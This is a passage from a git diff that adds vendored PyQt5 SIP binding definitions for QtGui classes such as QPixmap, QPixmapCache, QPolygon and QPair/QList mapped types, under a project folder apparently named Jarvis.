IMC1, + IMC2, + IMC3, + IMC4, + Y8, + Y16, + }; + + enum ByteOrder + { + LittleEndian, + BigEndian, + CurrentSystemEndian, + }; + + QPixelFormat(); + QPixelFormat(QPixelFormat::ColorModel mdl, uchar firstSize /PyInt/, uchar secondSize /PyInt/, uchar thirdSize /PyInt/, uchar fourthSize /PyInt/, uchar fifthSize /PyInt/, uchar alfa /PyInt/, QPixelFormat::AlphaUsage usage, QPixelFormat::AlphaPosition position, QPixelFormat::AlphaPremultiplied premult, QPixelFormat::TypeInterpretation typeInterp, QPixelFormat::ByteOrder byteOrder = QPixelFormat::CurrentSystemEndian, uchar subEnum /PyInt/ = 0); + QPixelFormat::ColorModel colorModel() const; + uchar channelCount() const /PyInt/; + uchar redSize() const /PyInt/; + uchar greenSize() const /PyInt/; + uchar blueSize() const /PyInt/; + uchar cyanSize() const /PyInt/; + uchar magentaSize() const /PyInt/; + uchar yellowSize() const /PyInt/; + uchar blackSize() const /PyInt/; + uchar hueSize() const /PyInt/; + uchar saturationSize() const /PyInt/; + uchar lightnessSize() const /PyInt/; + uchar brightnessSize() const /PyInt/; + uchar alphaSize() const /PyInt/; + uchar bitsPerPixel() const /PyInt/; + QPixelFormat::AlphaUsage alphaUsage() const; + QPixelFormat::AlphaPosition alphaPosition() const; + QPixelFormat::AlphaPremultiplied premultiplied() const; + QPixelFormat::TypeInterpretation typeInterpretation() const; + QPixelFormat::ByteOrder byteOrder() const; + QPixelFormat::YUVLayout yuvLayout() const; + uchar subEnum() const /PyInt/; +}; + +%End +%If (Qt_5_4_0 -) +bool operator==(QPixelFormat fmt1, QPixelFormat fmt2); +%End +%If (Qt_5_4_0 -) +bool operator!=(QPixelFormat fmt1, QPixelFormat fmt2); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatRgba(uchar red /PyInt/, uchar green /PyInt/, uchar blue /PyInt/, uchar alfa /PyInt/, QPixelFormat::AlphaUsage usage, QPixelFormat::AlphaPosition position, QPixelFormat::AlphaPremultiplied premultiplied = QPixelFormat::NotPremultiplied, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::UnsignedInteger); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatGrayscale(uchar channelSize /PyInt/, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::UnsignedInteger); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatCmyk(uchar channelSize /PyInt/, uchar alphaSize /PyInt/ = 0, QPixelFormat::AlphaUsage alphaUsage = QPixelFormat::IgnoresAlpha, QPixelFormat::AlphaPosition alphaPosition = QPixelFormat::AtBeginning, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::UnsignedInteger); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatHsl(uchar channelSize /PyInt/, uchar alphaSize /PyInt/ = 0, QPixelFormat::AlphaUsage alphaUsage = QPixelFormat::IgnoresAlpha, QPixelFormat::AlphaPosition alphaPosition = QPixelFormat::AtBeginning, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::FloatingPoint); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatHsv(uchar channelSize /PyInt/, uchar alphaSize /PyInt/ = 0, QPixelFormat::AlphaUsage alphaUsage = QPixelFormat::IgnoresAlpha, QPixelFormat::AlphaPosition alphaPosition = QPixelFormat::AtBeginning, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::FloatingPoint); +%End +%If (Qt_5_4_0 -) +QPixelFormat qPixelFormatYuv(QPixelFormat::YUVLayout layout, uchar alphaSize /PyInt/ = 0, QPixelFormat::AlphaUsage alphaUsage = QPixelFormat::IgnoresAlpha, QPixelFormat::AlphaPosition alphaPosition = QPixelFormat::AtBeginning, QPixelFormat::AlphaPremultiplied premultiplied = QPixelFormat::NotPremultiplied, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::UnsignedByte, QPixelFormat::ByteOrder byteOrder = QPixelFormat::LittleEndian); +%End +%If (Qt_5_5_0 -) +QPixelFormat qPixelFormatAlpha(uchar channelSize /PyInt/, QPixelFormat::TypeInterpretation typeInterpretation = QPixelFormat::UnsignedInteger); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmap.sip new file mode 100644 index 00000000..90cdd7a7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmap.sip @@ -0,0 +1,108 @@ +// qpixmap.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPixmap : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + QPixmap(); + QPixmap(int w, int h); + explicit QPixmap(const QSize &); + QPixmap(const QString &fileName, const char *format = 0, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + QPixmap(SIP_PYLIST xpm /TypeHint="List[str]"/) [(const char **xpm)]; +%MethodCode + // The Python interface is a list of strings that make up the image. + + const char **str = QtGui_ListToArray(a0); + + if (str) + { + sipCpp = new sipQPixmap(str); + QtGui_DeleteArray(str); + } + else + sipIsErr = 1; +%End + + QPixmap(const QPixmap &); + QPixmap(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new sipQPixmap(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + virtual ~QPixmap(); + bool isNull() const; + virtual int devType() const; + int width() const; + int height() const; + QSize size() const; + QRect rect() const; + int depth() const; + static int defaultDepth(); + void fill(const QColor &color = Qt::GlobalColor::white); + QBitmap mask() const; + void setMask(const QBitmap &); + bool hasAlpha() const; + bool hasAlphaChannel() const; + QBitmap createHeuristicMask(bool clipTight = true) const; + QBitmap createMaskFromColor(const QColor &maskColor, Qt::MaskMode mode = Qt::MaskInColor) const; + QPixmap scaled(int width, int height, Qt::AspectRatioMode aspectRatioMode = Qt::IgnoreAspectRatio, Qt::TransformationMode transformMode = Qt::FastTransformation) const; + QPixmap scaled(const QSize &size, Qt::AspectRatioMode aspectRatioMode = Qt::IgnoreAspectRatio, Qt::TransformationMode transformMode = Qt::FastTransformation) const; + QPixmap scaledToWidth(int width, Qt::TransformationMode mode = Qt::FastTransformation) const; + QPixmap scaledToHeight(int height, Qt::TransformationMode mode = Qt::FastTransformation) const; + QImage toImage() const; + static QPixmap fromImage(const QImage &image, Qt::ImageConversionFlags flags = Qt::AutoColor); + static QPixmap fromImageReader(QImageReader *imageReader, Qt::ImageConversionFlags flags = Qt::AutoColor); + bool convertFromImage(const QImage &img, Qt::ImageConversionFlags flags = Qt::AutoColor); + bool load(const QString &fileName, const char *format = 0, Qt::ImageConversionFlags flags = Qt::AutoColor); + bool loadFromData(const uchar *buf /Array/, uint len /ArraySize/, const char *format = 0, Qt::ImageConversionFlags flags = Qt::AutoColor); + bool loadFromData(const QByteArray &buf, const char *format = 0, Qt::ImageConversionFlags flags = Qt::AutoColor); + bool save(const QString &fileName, const char *format = 0, int quality = -1) const; + bool save(QIODevice *device, const char *format = 0, int quality = -1) const; + QPixmap copy(const QRect &rect = QRect()) const; + void detach(); + bool isQBitmap() const; + virtual QPaintEngine *paintEngine() const; + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric) const; + +public: + QPixmap copy(int ax, int ay, int awidth, int aheight) const; + QPixmap transformed(const QTransform &transform, Qt::TransformationMode mode = Qt::FastTransformation) const; + static QTransform trueMatrix(const QTransform &m, int w, int h); + qint64 cacheKey() const; + void scroll(int dx, int dy, const QRect &rect, QRegion *exposed /Out/ = 0); + void scroll(int dx, int dy, int x, int y, int width, int height, QRegion *exposed /Out/ = 0); + void swap(QPixmap &other /Constrained/); + qreal devicePixelRatio() const; + void setDevicePixelRatio(qreal scaleFactor); +}; + +QDataStream &operator<<(QDataStream &, const QPixmap & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QPixmap & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmapcache.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmapcache.sip new file mode 100644 index 00000000..112c4693 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixmapcache.sip @@ -0,0 +1,80 @@ +// qpixmapcache.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPixmapCache +{ +%TypeHeaderCode +#include +%End + +public: + class Key + { +%TypeHeaderCode +#include +%End + + public: + Key(); + Key(const QPixmapCache::Key &other); + ~Key(); + bool operator==(const QPixmapCache::Key &key) const; + bool operator!=(const QPixmapCache::Key &key) const; +%If (Qt_5_6_0 -) + void swap(QPixmapCache::Key &other /Constrained/); +%End +%If (Qt_5_7_0 -) + bool isValid() const; +%End + }; + + static int cacheLimit(); + static void clear(); + static QPixmap find(const QString &key); +%MethodCode + sipRes = new QPixmap; + + if (!QPixmapCache::find(*a0, sipRes)) + { + delete sipRes; + sipRes = 0; + } +%End + + static QPixmap find(const QPixmapCache::Key &key); +%MethodCode + sipRes = new QPixmap; + + if (!QPixmapCache::find(*a0, sipRes)) + { + delete sipRes; + sipRes = 0; + } +%End + + static bool insert(const QString &key, const QPixmap &); + static QPixmapCache::Key insert(const QPixmap &pixmap); + static void remove(const QString &key); + static void remove(const QPixmapCache::Key &key); + static bool replace(const QPixmapCache::Key &key, const QPixmap &pixmap); + static void setCacheLimit(int); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpolygon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpolygon.sip new file mode 100644 index 00000000..7dd0eee4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpolygon.sip @@ -0,0 +1,515 @@ +// qpolygon.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPolygon +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Get a set of coordinate pairs of a polygon from a Python list. +static int *coordsFromList(PyObject *l, int &nr_points) +{ + int *coords = new int[PyList_Size(l)]; + nr_points = PyList_Size(l) >> 1; + + for (Py_ssize_t i = 0; i < PyList_Size(l); ++i) + { + coords[i] = SIPLong_AsLong(PyList_GetItem(l, i)); + + if (PyErr_Occurred() != NULL) + { + delete[] coords; + return 0; + } + } + + return coords; +} +%End + +%PickleCode + PyObject *pl = PyList_New(sipCpp->count() * 2); + + for (int p = 0, i = 0; i < sipCpp->count(); ++i, p += 2) + { + int x, y; + + sipCpp->point(i, &x, &y); + + PyList_SetItem(pl, p, SIPLong_FromLong(x)); + PyList_SetItem(pl, p + 1, SIPLong_FromLong(y)); + } + + sipRes = Py_BuildValue((char *)"(N)", pl); +%End + +public: + QPolygon(); + ~QPolygon(); + QPolygon(const QPolygon &a); + QPolygon(SIP_PYLIST points /TypeHint="List[int]"/) /NoDerived/; +%MethodCode + int nr_points; + int *coords = coordsFromList(a0, nr_points); + + if (coords) + { + sipCpp = new QPolygon(); + sipCpp->setPoints(nr_points, coords); + delete[] coords; + } + else + { + // Invoke the subsequent QVector overload. + sipError = sipErrorContinue; + } +%End + + QPolygon(const QVector &v); + QPolygon(const QRect &rectangle, bool closed = false); + explicit QPolygon(int asize); + QPolygon(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QPolygon(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + void translate(int dx, int dy); + QRect boundingRect() const; + QPoint point(int index) const; + void setPoints(SIP_PYLIST points /TypeHint="List[int]"/); +%MethodCode + int nr_points; + int *coords = coordsFromList(a0, nr_points); + + if (coords) + { + sipCpp->setPoints(nr_points, coords); + delete[] coords; + } + else + { + sipIsErr = 1; + } +%End + + void setPoints(int firstx, int firsty, ...); +%MethodCode + // Accept at least one pair of integer coordinates. + int nPoints = 1 + ((PyTuple_Size(a2) + 1) >> 1); + + int *points = new int[nPoints * 2]; + + points[0] = a0; + points[1] = a1; + + for (Py_ssize_t i = 0; i < PyTuple_Size(a2); ++i) + points[2 + i] = SIPLong_AsLong(PyTuple_GetItem(a2, i)); + + sipCpp->setPoints(nPoints, points); + + delete[] points; +%End + + void putPoints(int index, int firstx, int firsty, ...); +%MethodCode + // Accept at least one pair of integer coordinates. + int nPoints = 1 + ((PyTuple_Size(a3) + 1) >> 1); + + int *points = new int[nPoints * 2]; + + points[0] = a1; + points[1] = a2; + + for (Py_ssize_t i = 0; i < PyTuple_Size(a3); ++i) + points[2 + i] = SIPLong_AsLong(PyTuple_GetItem(a3, i)); + + sipCpp->putPoints(a0, nPoints, points); + + delete[] points; +%End + + void putPoints(int index, int nPoints, const QPolygon &fromPolygon, int from = 0); + void setPoint(int index, const QPoint &pt); + void setPoint(int index, int x, int y); + void translate(const QPoint &offset); + bool containsPoint(const QPoint &pt, Qt::FillRule fillRule) const; + QPolygon united(const QPolygon &r) const; + QPolygon intersected(const QPolygon &r) const; + QPolygon subtracted(const QPolygon &r) const; + QPolygon translated(int dx, int dy) const; + QPolygon translated(const QPoint &offset) const; +// Methods inherited from QVector and Python special methods. +// Keep in sync with QPolygonF and QXmlStreamAttributes. + +void append(const QPoint &value); +const QPoint &at(int i) const; +void clear(); +bool contains(const QPoint &value) const; +int count(const QPoint &value) const; +int count() const /__len__/; +void *data(); + +// Note the Qt return value is discarded as it would require handwritten code +// and seems pretty useless. +void fill(const QPoint &value, int size = -1); + +QPoint &first(); +int indexOf(const QPoint &value, int from = 0) const; +void insert(int i, const QPoint &value); +bool isEmpty() const; +QPoint &last(); +int lastIndexOf(const QPoint &value, int from = -1) const; + +// Note the Qt return type is QVector. +QPolygon mid(int pos, int length = -1) const; + +void prepend(const QPoint &value); +void remove(int i); +void remove(int i, int count); +void replace(int i, const QPoint &value); +int size() const; +QPoint value(int i) const; +QPoint value(int i, const QPoint &defaultValue) const; +bool operator!=(const QPolygon &other) const; + +// Note the Qt return type is QVector. +QPolygon operator+(const QPolygon &other) const; + +QPolygon &operator+=(const QPolygon &other); +QPolygon &operator+=(const QPoint &value); +bool operator==(const QPolygon &other) const; + +SIP_PYOBJECT operator<<(const QPoint &value); +%MethodCode + *a0 << *a1; + + sipRes = sipArg0; + Py_INCREF(sipRes); +%End + +QPoint &operator[](int i); +%MethodCode +Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + +if (idx < 0) + sipIsErr = 1; +else + sipRes = &sipCpp->operator[]((int)idx); +%End + +// Some additional Python special methods. + +void __setitem__(int i, const QPoint &value); +%MethodCode +int len; + +len = sipCpp->count(); + +if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; +else + (*sipCpp)[a0] = *a1; +%End + +void __setitem__(SIP_PYSLICE slice, const QPolygon &list); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + int vlen = a1->count(); + + if (vlen != slicelength) + { + sipBadLengthForSlice(vlen, slicelength); + sipIsErr = 1; + } + else + { + QVector::const_iterator it = a1->begin(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipCpp)[start] = *it; + start += step; + ++it; + } + } +} +%End + +void __delitem__(int i); +%MethodCode +if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; +else + sipCpp->remove(a0); +%End + +void __delitem__(SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + sipCpp->remove(start); + start += step - 1; + } +} +%End + +QPolygon operator[](SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + sipRes = new QPolygon(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipRes) += (*sipCpp)[start]; + start += step; + } +} +%End + +int __contains__(const QPoint &value); +%MethodCode +// It looks like you can't assign QBool to int. +sipRes = bool(sipCpp->contains(*a0)); +%End + void swap(QPolygon &other /Constrained/); +%If (Qt_5_10_0 -) + bool intersects(const QPolygon &r) const; +%End +}; + +class QPolygonF +{ +%TypeHeaderCode +#include +%End + +public: + QPolygonF(); + ~QPolygonF(); + QPolygonF(const QPolygonF &a); + QPolygonF(const QVector &v); + QPolygonF(const QRectF &r); + QPolygonF(const QPolygon &a); + explicit QPolygonF(int asize); + void translate(const QPointF &offset); + QPolygon toPolygon() const; + bool isClosed() const; + QRectF boundingRect() const; + void translate(qreal dx, qreal dy); + bool containsPoint(const QPointF &pt, Qt::FillRule fillRule) const; + QPolygonF united(const QPolygonF &r) const; + QPolygonF intersected(const QPolygonF &r) const; + QPolygonF subtracted(const QPolygonF &r) const; + QPolygonF translated(const QPointF &offset) const; + QPolygonF translated(qreal dx, qreal dy) const; +// Methods inherited from QVector and Python special methods. +// Keep in sync with QPolygon and QXmlStreamAttributes. + +void append(const QPointF &value); +const QPointF &at(int i) const; +void clear(); +bool contains(const QPointF &value) const; +int count(const QPointF &value) const; +int count() const /__len__/; +void *data(); + +// Note the Qt return value is discarded as it would require handwritten code +// and seems pretty useless. +void fill(const QPointF &value, int size = -1); + +QPointF &first(); +int indexOf(const QPointF &value, int from = 0) const; +void insert(int i, const QPointF &value); +bool isEmpty() const; +QPointF &last(); +int lastIndexOf(const QPointF &value, int from = -1) const; + +// Note the Qt return type is QVector. +QPolygonF mid(int pos, int length = -1) const; + +void prepend(const QPointF &value); +void remove(int i); +void remove(int i, int count); +void replace(int i, const QPointF &value); +int size() const; +QPointF value(int i) const; +QPointF value(int i, const QPointF &defaultValue) const; +bool operator!=(const QPolygonF &other) const; + +// Note the Qt return type is QVector. +QPolygonF operator+(const QPolygonF &other) const; + +QPolygonF &operator+=(const QPolygonF &other); +QPolygonF &operator+=(const QPointF &value); +bool operator==(const QPolygonF &other) const; + +SIP_PYOBJECT operator<<(const QPointF &value); +%MethodCode + *a0 << *a1; + + sipRes = sipArg0; + Py_INCREF(sipRes); +%End + +QPointF &operator[](int i); +%MethodCode +Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + +if (idx < 0) + sipIsErr = 1; +else + sipRes = &sipCpp->operator[]((int)idx); +%End + +// Some additional Python special methods. + +void __setitem__(int i, const QPointF &value); +%MethodCode +int len; + +len = sipCpp->count(); + +if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; +else + (*sipCpp)[a0] = *a1; +%End + +void __setitem__(SIP_PYSLICE slice, const QPolygonF &list); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + int vlen = a1->count(); + + if (vlen != slicelength) + { + sipBadLengthForSlice(vlen, slicelength); + sipIsErr = 1; + } + else + { + QVector::const_iterator it = a1->begin(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipCpp)[start] = *it; + start += step; + ++it; + } + } +} +%End + +void __delitem__(int i); +%MethodCode +if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; +else + sipCpp->remove(a0); +%End + +void __delitem__(SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + sipCpp->remove(start); + start += step - 1; + } +} +%End + +QPolygonF operator[](SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + sipRes = new QPolygonF(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipRes) += (*sipCpp)[start]; + start += step; + } +} +%End + +int __contains__(const QPointF &value); +%MethodCode +// It looks like you can't assign QBool to int. +sipRes = bool(sipCpp->contains(*a0)); +%End + void swap(QPolygonF &other /Constrained/); +%If (Qt_5_10_0 -) + bool intersects(const QPolygonF &r) const; +%End +}; + +QDataStream &operator<<(QDataStream &stream, const QPolygonF &array /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &stream, QPolygonF &array /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &stream, const QPolygon &polygon /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &stream, QPolygon &polygon /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qlist.sip new file mode 100644 index 00000000..3c61382e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qlist.sip @@ -0,0 +1,106 @@ +// This is the SIP interface definition for the QList based mapped types +// specific to the QtGui module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QList + /TypeHintIn="Sequence[QFontDatabase.WritingSystem]", + TypeHintOut="List[QFontDatabase.WritingSystem]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QFontDatabase_WritingSystem); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len < 0) + return 0; + + QList *ql = new QList; + + for (Py_ssize_t i = 0; i < len; ++i) + { + PyObject *itm = PySequence_GetItem(sipPy, i); + + if (!itm) + { + delete ql; + *sipIsErr = 1; + + return 0; + } + + int v = sipConvertToEnum(itm, sipType_QFontDatabase_WritingSystem); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "element %zd has type '%s' but 'QFontDatabase.WritingSystem' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qpair.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qpair.sip new file mode 100644 index 00000000..0aa7d49b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qpair.sip @@ -0,0 +1,220 @@ +// This is the SIP interface definition for the QPair based mapped types +// specific to the QtGui module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +%If (PyQt_OpenGL) + +%MappedType QPair + /TypeHint="Tuple[QOpenGLTexture.Filter, QOpenGLTexture.Filter]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + return sipBuildResult(NULL, "(FF)", sipCpp->first, + sipType_QOpenGLTexture_Filter, sipCpp->second, + sipType_QOpenGLTexture_Filter); +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 2) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 2 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + PyObject *firstobj = PySequence_GetItem(sipPy, 0); + + if (!firstobj) + { + *sipIsErr = 1; + + return 0; + } + + int firstv = sipConvertToEnum(firstobj, sipType_QOpenGLTexture_Filter); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "the first element has type '%s' but 'QOpenGLTexture.Filter' is expected", + sipPyTypeName(Py_TYPE(firstobj))); + + *sipIsErr = 1; + + return 0; + } + + PyObject *secondobj = PySequence_GetItem(sipPy, 1); + + if (!secondobj) + { + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + int secondv = sipConvertToEnum(secondobj, sipType_QOpenGLTexture_Filter); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "the second element has type '%s' but 'QOpenGLTexture.Filter' is expected", + sipPyTypeName(Py_TYPE(secondobj))); + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + *sipCppPtr = new QPair( + static_cast(firstv), + static_cast(secondv)); + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + + return sipGetState(sipTransferObj); +%End +}; + +%End + +%End + + +%If (Qt_5_2_0 -) + +%MappedType QPair /TypeHint="Tuple[float, float]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + return Py_BuildValue("(ff)", sipCpp->first, sipCpp->second); +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 2) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 2 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + PyObject *firstobj = PySequence_GetItem(sipPy, 0); + + if (!firstobj) + { + *sipIsErr = 1; + + return 0; + } + + PyErr_Clear(); + double first = PyFloat_AsDouble(firstobj); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "the first element has type '%s' but 'float' is expected", + sipPyTypeName(Py_TYPE(firstobj))); + + *sipIsErr = 1; + + return 0; + } + + PyObject *secondobj = PySequence_GetItem(sipPy, 1); + + if (!secondobj) + { + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + PyErr_Clear(); + double second = PyFloat_AsDouble(secondobj); + + if 